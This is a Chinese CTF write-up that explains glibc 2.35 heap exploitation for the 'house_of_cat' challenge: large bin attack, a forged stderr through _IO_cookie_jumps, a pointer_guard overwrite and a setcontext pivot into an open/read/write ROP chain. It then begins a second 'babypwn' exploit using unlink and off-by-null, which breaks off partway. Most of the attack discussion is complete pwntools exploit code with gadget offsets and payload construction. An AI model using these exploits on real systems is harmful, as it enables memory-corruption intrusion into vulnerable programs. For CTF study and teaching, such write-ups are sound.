0%

这道题在pwn方向是做出来的队伍最多的一道题,但由于笔者之前对于高版本glibc的_IO_FILE攻击方式不甚了解,因此比赛的时候跳过了。本文就对该题进行从原理到实战的详细分析,帮助读者理解本题使用过的攻击方式。

house_of_cat

本题使用的glibc版本是2.35,是目前ubuntu 22.04上最新的glibc版本。因此本题的调试与做题环境为:Ubuntu 22.04。

本题的漏洞利用方式为house of apple,这是一种基于large bin attack的_IO_FILE攻击方式。那么首先我们就需要了解large bin attack和_IO_FILE利用这两个基础知识。

前置知识1——高版本libc的large bin attack

large bin attack从2.23版本到2.35版本,一直是一种没有被解决的利用方式,在高版本的libc中,large bin attack的具体方式与低版本区别并不大,利用原理也是相同的。不过与2.23和2.27版本不同,2.30及以上版本在_int_malloc函数中对于large bin新增了两个检查:(截图来自这里


下面我们通过how2heap简单看一下2.35版本的large bin attack是如何实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Since glibc2.30, two new checks have been enforced on large bin chunk insertion

Check 1 :
> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
> malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
Check 2 :
> if (bck->fd != fwd)
> malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

This prevents the traditional large bin attack
However, there is still one possible path to trigger large bin attack. The PoC is shown below :

====================================================================

Here is the target we want to overwrite (0x7ffc96dca630) : 0

First, we allocate a large chunk [p1] (0x564fd9bdc290)
And another chunk to prevent consolidate

We also allocate a second large chunk [p2] (0x564fd9bdc6e0).
This chunk should be smaller than [p1] and belong to the same large bin.
Once again, allocate a guard chunk to prevent consolidate

Free the larger of the two --> [p1] (0x564fd9bdc290)
Allocate a chunk larger than [p1] to insert [p1] into large bin

Free the smaller of the two --> [p2] (0x564fd9bdc6e0)
At this point, we have one chunk in large bin [p1] (0x564fd9bdc290),
and one chunk in unsorted bin [p2] (0x564fd9bdc6e0)

Now modify the p1->bk_nextsize to [target-0x20] (0x7ffc96dca610)

Finally, allocate another chunk larger than [p2] (0x564fd9bdc6e0) to place [p2] (0x564fd9bdc6e0) into large bin
Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,
the modified p1->bk_nextsize does not trigger any error
Upon inserting [p2] (0x564fd9bdc6e0) into largebin, [p1](0x564fd9bdc290)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (0x564fd9bdc6e0)

In out case here, target is now overwritten to address of [p2] (0x564fd9bdc6e0), [target] (0x564fd9bdc6e0)
Target (0x7ffc96dca630) : 0x564fd9bdc6e0

====================================================================

以上就是程序的输出结果。可以看到其利用的方式非常简单,前提条件是:

  1. large bin中有1个chunk,unsorted bin中有一个chunk(如果被链入到large bin中需要与前面的chunk链到一个bin中),且large bin中的比unsorted bin中的大。
  2. 可以修改large bin中chunk的bk_nextsize指针。

当我们分配一个大chunk使得unsorted bin中的chunk被链入到large bin时,由于原先的large bin chunk比这个chunk大,所以居于其后(对large bin链入过程不清楚的读者可以先看这里),这就绕过了添加的两个检查,能够成功将原large bin chunk中的bk_nextsize->fd_nextsize修改为新链入的chunk地址,即实现了任一地址写一个堆地址

前置知识2——_IO_FILE

在之前的文章中分析过,这里就不费笔墨了。在这篇文章中也有简要的介绍。


既然large bin attack可以实现任意地址写,如果我们将_IO_list_all的值修改为一个堆地址,那我们岂不是可以控制_IO_FILE结构体的执行流了吗?现在,我们就回到这道题本身来进行分析。

Step 1: 逆向分析


这道题的漏洞很好找,就在delete_cat这个函数中,删除操作中的free并未清空指针,因此有UAF漏洞。不过在能够操作菜单之前,我们还需要进行登录操作。这一部分的分析不难,按照函数的执行流程进行分析调试就能够获取到成功登录的字符串输入格式。最终通过login函数成功登录的字符串为:LOGIN | r00t QWB QWXFadmin\x00


在进入菜单之后,我们还需要通过某些检查。这些检查也不难通过,输入字符串为:CAT | r00t QWB QWXF\xFF$


重点就在于菜单的四种操作。添加是正常的添加操作,只不过每一次添加的chunk可写部分大小必须在0x418到0x470之间,这是属于large bin的范围,因此本题和tcache无关。


然后是编辑功能,每一次只能编辑chunk可写部分的前30个字节而不能控制所有字节。


show与edit相同,也是只能展示前30字节。


由于本题中的delete函数有UAF漏洞,因此我们只要show一个free chunk就能够轻松获取到libc和堆地址。因此进行一次large bin attack并不是什么难事。但关键在于,我们应该如何构造假的_IO_FILE结构体。注意,本题中使用了沙箱,我们不能直接调用system函数getshell,因此还需要借用setcontext函数。

Step 2: 漏洞分析

本文主要参考Nu1L师傅的wp进行分析。其使用了__malloc_assert函数作为跳板进行漏洞利用。首先我们需要知道这个函数在何处被调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// malloc.c line 292
# define __assert_fail(assertion, file, line, function) \
__malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

在malloc.c中我们可以找到,这里的__assert_fail就是__malloc_assert,即在这里调用assert_fail就相当于调用__malloc_assert。而__assert_fail是在assert函数中被调用,因此只需要找到在malloc函数中何处调用了assert函数即可。但assert函数调用的地方实在太多,我们应该选择哪一个呢?注意在_int_malloc函数中,所有针对堆的检查错误信息打印都是使用malloc_printerr函数而非assert。因此我们选择_int_malloc函数调用的sysmalloc函数。在sysmalloc函数中有检查是使用assert来实现的,而在_int_malloc函数中只有当完全确认释放的chunk无法满足申请需求且top chunk的大小也小于申请大小时才会调用sysmalloc函数。我们首先分析一下进入sysmalloc函数之后应该如何做才能拿到flag,至于如何调用sysmalloc函数,则是堆块排布方面的事情了,我们在后面也会提到。

sysmalloc函数中,有这样一条assert语句:

1
2
3
4
5
// malloc.c line 2617
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

这是用来检查top chunk的一些属性,其中注意最后一行,top chunk必须页对齐。如果这里的top chunk没有满足页对齐,那么就会调用__assert_fail函数,也即__malloc_assert函数。而在__malloc_assert函数中,经过调试发现,漏洞利用是发生在调用__fxprintf中而非fflush函数。这是因为当我们执行到assert失败时,_IO_FILE应该已经被我们修改,而__fxprintf作为一个需要将字符串输出到控制台的函数,必然会调出stderr文件描述符进行输出。但这个时候只有我们自己伪造的_IO_FILE指针,只要我们构造好假的stderr,就有可能实现任意代码执行。

笔者仔细研究了一下本题的利用思路,发现这是典型的house of emma利用方法。(资料参考

经过笔者多次调试跟踪,最终发现程序在__vfprintf_internal+0x280处调用了vtable+0x38处的函数,其第一个参数rdi指向的是伪造的stderr


查看vtable类型的源码声明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

可以看到,这里本意实际是想要调用结构体中偏移为0x38的成员,即_IO_xsputn_t函数。
又找到_IO_cookie_jumps结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};

其中注意到有一个_IO_cookie_read函数,我们查看一下这个函数在IDA中的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:000000000007F7B0 ; __unwind {
.text:000000000007F7B0 endbr64
.text:000000000007F7B4 mov rax, [rdi+0E8h]
.text:000000000007F7BB ror rax, 11h
.text:000000000007F7BF xor rax, fs:30h
.text:000000000007F7C8 test rax, rax
.text:000000000007F7CB jz short loc_7F7D6
.text:000000000007F7CD mov rdi, [rdi+0E0h]
.text:000000000007F7D4 jmp rax
.text:000000000007F7D6 ; ---------------------------------------------------------------------------
.text:000000000007F7D6
.text:000000000007F7D6 loc_7F7D6: ; CODE XREF: sub_7F7B0+1B↑j
.text:000000000007F7D6 mov rax, 0FFFFFFFFFFFFFFFFh
.text:000000000007F7DD retn

注意到这里有一个jmp rax,实际上就是jmp [rdi+0E8h]。而这里的rdi就是伪造的stderr,因此我们只需要在假stderr后面的特定位置写入_IO_cookie_jumps+0x38就可以保证执行到_IO_cookie_read函数,然后在假stderr+0xE8的位置写入正确的值就能够使得jmp rax跳转到我们想要的地方去。不过在此之前我我们可以看到_IO_cookie_read函数对rax的值做了一些修改,即上述代码中的ror指令和xor指令。这实际上是高版本glibc新增加的一种保护措施:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif

if (read_cb == NULL)
return -1;

return read_cb (cfile->__cookie, buf, size);
}

注意这里的PTR_DEMANGLE函数,就是ror/xor指令的实现,其实质是:

1
2
3
4
5
6
#  define PTR_DEMANGLE(var)	asm ("ror $2*" LP_SIZE "+1, %0\n"	      \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))

注意:在/sysdeps/unix/sysv/linux/x86_64/sysdep.h文件中有4个关于PTR_DEMANGLE函数的声明,但通过查看源码可知最有可能采用的就是上面的这个宏定义。通过源码可知第一条语句ror循环右移的位数为11,而第二条语句xor rax, fs:30h中的fs:30h应该指的就是tcbhead_t.pointer_guard这个东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int unused_vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

void *__padding[8];
} tcbhead_t;

这是tcbhead_t的声明,可以看到除了pointer_guard之外,这里面还定义有stack_guard,合理猜测这应该是用于canary。经过验证发现确实如此,函数开头的mov rax, fs:28h取的就是stack_guard的值。因此这里的fs:30h也就是pointer_guard的值。我们并不能读取原来的pointer_guard,但我们能通过large bin attack将这里的值修改为一个已知的值,这样我们就可以自行对想要执行的地址进行处理,经过_IO_cookie_read函数右移处理后变成正确的代码地址。那么tcbhead_t这个结构体在什么地方呢?实际上这个结构体并不在libc中,而是在紧邻libc低地址处的一块内存空间中(见下图),其与libc起始地址的偏移为-0x28c0。但这个值是在wp中的exp出现的,如果是我们自己做题,又应该如何获得这个值呢?前面提到pointer_guardstack_guard相邻。我们在程序调试的时候可以将断点下在函数开头获取stack_guard的地方——mov rax, fs:0x28,获得stack_guard的值后再对内存空间进行搜索,这样就可以轻松找到tcbhead_t结构体了。


在本题中,我们可以通过large bin attack轻松修改这里的值,由此我们就可以在fake stderr+0xE8处写入处理后的地址值,然后就可以实现任意地址执行。由于本题开启了沙箱,因此这里容易想到跳转到一个称为pcop的gadget,由于在新版本libc中setcontext函数中对rsp赋值的地址不再由rdi取值,因此需要这一个gadget将rdx赋值,其中的rdi附近内存是我们可控的,因此通过这个gadget地址我们就可以控制rdx的值:

1
2
3
.text:00000000001675B0                 mov     rdx, [rdi+8]
.text:00000000001675B4 mov [rsp+0C8h+var_C8], rax
.text:00000000001675B8 call qword ptr [rdx+20h]

我们可以将rdx赋值为一个可控的内存空间地址,然后通过call指令跳转到setcontext函数中就可以成功实现栈迁移。

现在我们已经搞清楚了如何通过假的stderr实现任意代码执行,但我们应该如何替换stderr呢?前面提到,我们需要使用一次large bin attack修改pointer_guard的值,在这里,我们还需要再进行一次large bin attack直接修改stderr的值。注意到large bin的前32个bin所保存的chunk的大小差值为0x40,即大小在0x400~0x430的chunk保存在第一个large bin,而0x440~0x470则保存在第二个large bin中,两个相邻的bin中保存的最小chunk的大小之差为0x40。从本题可以分配的chunk大小可知,我们一共可以进行2次large bin attack,这两次攻击应发生在不同的bin中。

现在,我们也已经有了办法替换stderr,但还有最后一个问题:如何才能让top chunk缩小?根据本题的UAF漏洞不难联想,这一题应该是想要让我们通过UAF漏洞修改top chunk的大小。具体的步骤如下:

我们需要首先分配两个相邻chunk,假设大小均为0x440,并在其高地址处分配至少一个chunk暂时防止与top chunk合并。然后释放两个相邻chunk,释放后二者会进行合并。此时再次分配一个大小为0x430的chunk和一个0x450的chunk重新获取这两个chunk的内存空间,修改原来被释放的chunk的头部。由于我们还保存着原来chunk的指针,因此可以再一次释放这个chunk,使其与top chunk直接合并,然后继续编辑就可以成功修改top chunk的大小。

Step 3: 编写exp

为了行文逻辑流畅,这里先将exp贴出来,然后再对其中细节进行深入分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./house_of_cat')
elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')
main_arena_base = 0x219C80


def add_cat(index, size, content):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'1')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
io.sendlineafter(b'plz input your cat size:\n', str(size).encode())
io.sendafter(b'plz input your content:\n', content)


def delete_cat(index):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'2')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def show_cat(index):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'3')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def edit_cat(index, content):
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'4')
io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
io.sendlineafter(b'plz input your content:\n', content)


io.sendlineafter(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00') # admin = 1

# add_cat(0, 0x430, b'colin')
add_cat(1, 0x428, b'colin')
add_cat(2, 0x430, b'colin')
add_cat(4, 0x418, b'colin')
add_cat(5, 0x440, b'colin')

delete_cat(1)
show_cat(1)
io.recv(9)
main_arena = u64(io.recv(6) + b'\x00\x00') - 96
base = main_arena - main_arena_base
stderr = base + libc.symbols['stderr']
tcbhead_t = base - 0x28C0
_IO_cookie_jumps = base + 0x215B80
print(hex(base))

add_cat(3, 0x440, b'colin')

delete_cat(4)
show_cat(1)
io.recv(25)
heap_base = u64(io.recv(6) + b'\x00\x00') - 0x290

edit_cat(1, p64(main_arena + 1104) * 2 + p64(0) + p64(tcbhead_t + 0x10))
add_cat(0, 0x430, b'colin')
pointer_guard = heap_base + 0xB00
print(hex(pointer_guard))
print(hex(heap_base))

# some useful gadgets
pcop = 0x1675B0 + base
pop_rdi = 0x2A3E5 + base
pop_rsi = 0x2BE51 + base
pop_rdx_rbx = 0x90529 + base
pop_rax = 0x45EB0 + base
syscall = 0x91396 + base
print(hex(pcop))
encrypted_addr = ((pcop ^ pointer_guard) << 0x11) & ((1 << 64) - 1) + \
(((pcop ^ pointer_guard) & (((1 << 64) - 1) - ((1 << 47) - 1))) >> 47)

# create fake _IO_FILE struct for fake stderr
payload = FileStructure()
payload.vtable = _IO_cookie_jumps + 0x38 # address of _IO_file_xsputn, vtable + 0x38 = _IO_cookie_read
payload._lock = base + 0x21BA70 # _IO_stdfile_1_lock
payload = bytes(payload)[0x10:]
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(encrypted_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(0)
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(0) * 2
payload += p64(base + libc.symbols['setcontext'] + 61)

# use SigReturn frame to set rsp and rcx
frame = SigreturnFrame()
frame.rsp = heap_base + 0x28F0 + 0x300
frame.rip = pop_rdi + 1
payload += flat(frame)[0x28:]
payload = payload.ljust(0x300, b'\x00')

# construct ROP chain
# close the stdin, and it will reopen automatically
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(base + libc.symbols['close'])

# open file ./flag
payload += p64(pop_rdi)
payload += p64(heap_base + 0x28F0 + 0x400)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2) # syscall code for open
payload += p64(syscall)

# read file ./flag to heap
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['read'])

# write content in ./flag
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['write'])

payload = payload.ljust(0x400) + b'./flag\x00'

add_cat(6, 0x430, b'colin')
add_cat(7, 0x450, b'colin')
add_cat(8, 0x430, b'colin')
add_cat(9, 0x440, payload)
add_cat(10, 0x430, b'colin')
delete_cat(6)
delete_cat(7)

add_cat(11, 0x460, b'\x00' * 0x430 + p64(0) + p64(0x461))
add_cat(12, 0x420, b'\x00')
delete_cat(7)

add_cat(13, 0x450, b'\x00' * 0x20 + p64(0) + p64(0x1101))
delete_cat(7)
add_cat(14, 0x460, b'\x00')
delete_cat(9)
delete_cat(12)
delete_cat(14)

# delete_cat(11)
edit_cat(7, p64(base + 0x21A0E0) * 2 + p64(0) + p64(base + libc.symbols['stderr'] - 0x20) + p64(0) + p64(0x201))
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'1')
io.sendlineafter(b'plz input your cat idx:\n', b'15')
# gdb.attach(io)
# time.sleep(1)
io.sendlineafter(b'plz input your cat size:\n', b'1129')
io.interactive()

前面的交互就不用说了,首先是释放chunk 1和4获取到libc和heap地址,并顺便使用0x400~0x430的large bin的large bin attack修改tcbhead_t结构体中的pointer_guardpcop变量就是前面提到的pcop地址,encrypted_addr就是处理后的地址,经过_IO_cookie_read函数处理后能够变成pcop地址。

在payload中首先是_IO_FILE结构体,可以使用pwntools自带的FileStructure类进行声明,如果需要将其转为字节可使用bytes()函数进行处理。这里需要注意我们舍去了_IO_FILE的前0x10字节,因为large bin attack只能够将chunk地址写到stderr中,在可写头前面还有prev_sizesize字段,为了保证对齐,需要舍弃_IO_FILE结构体的前0x10字节。

_IO_FILE结构体后加上这个地方的堆地址和处理后的pcop地址,能够保证_IO_cookie_read函数能够跳转到pcop中。以0x100对齐后加上setcontext函数地址使得pcop能够调用到setcontext函数。

setcontext后面紧跟SigReturnFrame结构体,这个结构体本来是用作系统调用sysreturn的,这里使用是因为其中rsprip的值正好能够对应上setcontext函数中的相关指令,能够通过修改SigReturnFrame结构体使得setcontextrsp修改为我们想要栈迁移的地址,rip修改为我们想要跳转到的地址。注意这里的SigReturnFrame结构体舍弃了前面的0x28字节,原因与_IO_FILE舍弃前0x10字节类似,都是为了对齐。

在此之后就是ROP链,将rsp设置到这里,待setcontext返回后即可在这里继续执行,后面就是常规的orw。


成功getshell。

总结

理解本题的关键在于理解函数调用链:
calloc->_int_malloc->sysmalloc->__malloc_assert->__fxprintf->...->_IO_cookie_read->pcop->setcontext->ROP

这道题增加了沙箱机制,通过seccomp-tools可以轻松获取沙箱的具体内容。


其中的重点就是禁用了execve系统调用,无法直接通过one_gadget、system等直接getshell。这种情况下最为常用的利用方式就是set_context函数,具体如何利用,往下看。

本题的逆向分析很简单,注意bss中结构体的识别:前8字节是地址,后8字节是大小。在show函数中发现了一个简单的加密函数:


其每一轮的计算如下图所示,红色部分是因为溢出而无法计算的部分,每一轮的计算结果就相当于是所有黄色部分对应位异或的结果。

那么这个函数应该如何解密呢?观察到每一轮的计算又可以分为3小轮,最后一轮是某个值与自身左移13位的异或。第二轮是另外一个值与自身右移17位的异或得到第三轮的初始值。第一轮是输入与输入自身左移5位的异或得到第二轮的初始值。如此设计解密算法也就不难了,相信了解一些算法的读者都能编写脚本。解密函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def get_bits(value, start, end):
return (value >> start) & ((1 << (end - start)) - 1)


def decrypt(value):
for i in range(2):
low13 = get_bits(value, 0, 13)
mid13 = get_bits(value, 13, 26)
mid13 ^= low13
high6 = get_bits(value, 26, 32)
high6 ^= get_bits(mid13, 0, 6)
value = low13 + (mid13 << 13) + (high6 << 26)

high17 = get_bits(value, 15, 32)
low15 = get_bits(value, 0, 15)
low15 ^= get_bits(high17, 2, 17)
value = low15 + (high17 << 15)

first5 = get_bits(value, 0, 5)
second5 = get_bits(value, 5, 10)
second5 ^= first5
third5 = get_bits(value, 10, 15)
third5 ^= second5
fourth5 = get_bits(value, 15, 20)
fourth5 ^= third5
fifth5 = get_bits(value, 20, 25)
fifth5 ^= fourth5
sixth5 = get_bits(value, 25, 30)
sixth5 ^= fifth5
last2 = get_bits(value, 30, 32)
last2 ^= get_bits(sixth5, 0, 2)
value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
(fifth5 << 20) + (sixth5 << 25) + (last2 << 30)

return value

通过show函数,我们能够获取到堆块的地址。不过需要注意的是,show函数加密的并非堆块自身的地址,而是堆块前8字节的值。通过调试我们可以发现,在程序初始化时调用的seccomp系列函数会申请一些堆块,我们通过申请到这些堆块有可能使得堆块的前8字节是一个堆块地址,以此来获取堆区地址。

本题的libc环境是2.27版本,有机会改写钩子到setcontext函数【插一句:在笔者的2.31版本libc中,setcontext函数的栈迁移指令从mov rsp, [rdi+0xA0]被改成了mov rsp,[rdx+0xA0],这使得本题在2.31环境下无法利用,因为在执行到这里的时候无法控制rdx的值】。自然而然地,我们容易想到使用unlink堆块重叠的利用方式。在chunk中写一个假chunk,在假chunk的prev_size写入这个chunk的地址,然后将fd和bk指针写到合适的位置,就能够触发unlink。和同年的easy_diary相比,利用难度还更低些。


这里需要注意一下edit函数中的一个看似奇怪的函数。这个函数在read之后调用,会将第一个出现的’\x11’字符替换为0x0。乍一看,这个字符并不是字符串的结束符,但转念一想,不难发现这是出题人在为我们创造off by null的条件:'\x11’很有可能是某个chunk的size的最低1字节。可以通过这个特性修改chunk的大小和prev_inuse位。由于chunk的大小被修改了,因此在这个chunk的最后面还需要写上一个有效的size值,最低位为1,以绕过检查。

在成功unlink之后,就可以利用堆块重叠修改tcache chunk的fd指针到__free_hook。将其改写到setcontext内部即可实现栈迁移。然后构造好ROP链,打开文件、读文件、写数据。在笔者的机器上,通过调试将rdx改为与rdi的值相等实现栈迁移,但不知何故打开flag文件总是失败。

exp:(基于20.04,且需要调试修改rdx的值)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import *

context(arch='amd64', log_level='debug')

io = process('./babypwn')
# io = process(['../../../../ld/ld-2.27.so', './babypwn'], env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
# libc = ELF('./libc.so.6')

def add(size):
io.sendlineafter(b'>>> ', b'1')
io.sendlineafter(b'size:', str(size).encode())


def delete(index):
io.sendlineafter(b'>>> ', b'2')
io.sendlineafter(b'index:', str(index).encode())


def edit(index, content):
io.sendlineafter(b'>>> ', b'3')
io.sendlineafter(b'index:', str(index).encode())
io.sendafter(b'content:', content)


def show(index):
io.sendlineafter(b'>>> ', b'4')
io.sendlineafter(b'index:\n', str(index).encode())
lodword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
lodword = decrypt(lodword)
hidword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
hidword = decrypt(hidword)
return lodword + (hidword << 32)

def get_bits(value, start, end):
return (value >> start) & ((1 << (end - start)) - 1)


def decrypt(value):
for i in range(2):
low13 = get_bits(value, 0, 13)
mid13 = get_bits(value, 13, 26)
mid13 ^= low13
high6 = get_bits(value, 26, 32)
high6 ^= get_bits(mid13, 0, 6)
value = low13 + (mid13 << 13) + (high6 << 26)

high17 = get_bits(value, 15, 32)
low15 = get_bits(value, 0, 15)
low15 ^= get_bits(high17, 2, 17)
value = low15 + (high17 << 15)

first5 = get_bits(value, 0, 5)
second5 = get_bits(value, 5, 10)
second5 ^= first5
third5 = get_bits(value, 10, 15)
third5 ^= second5
fourth5 = get_bits(value, 15, 20)
fourth5 ^= third5
fifth5 = get_bits(value, 20, 25)
fifth5 ^= fourth5
sixth5 = get_bits(value, 25, 30)
sixth5 ^= fifth5
last2 = get_bits(value, 30, 32)
last2 ^= get_bits(sixth5, 0, 2)
value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
(fifth5 << 20) + (sixth5 << 25) + (last2 << 30)
return value

add(100) # chunk 0, used for leaking address
chunk0_addr = show(0)
print(hex(chunk0_addr))
add(0x100) # chunk #1
for i in range(7):
add(0xF0) # chunk #2~8
chunk1_addr = chunk0_addr + 0x400

payload = p64(chunk1_addr + 0x10)
payload += p64(0x810 + 0x30 - 0x10)
payload += p64(chunk1_addr - 0x8)
payload += p64(chunk1_addr)
payload += p64(0)
edit(1, payload)

add(0x28) # chunk #9
add(0x100) # chunk #10
add(0x20) # chunk #11, goalkeeper
edit(9, cyclic(0x28)) # this can change the chunk #9's size from 0x511 to 0x500
edit(9, cyclic(0x20) + p64(0x810 + 0x30 - 0x10)) # write correct prev_size
edit(10, cyclic(0xF0) + p64(0) + p64(0x41))

for i in range(7):
delete(8 - i) # delete chunk #2~8
delete(10)

for i in range(2):
add(0xF0) # recover chunk #1, 2
add(0xF0 + 0x100) # recover chunk #3
main_arena = show(3) - 96
print(hex(main_arena))
__malloc_hook = main_arena - 0x10
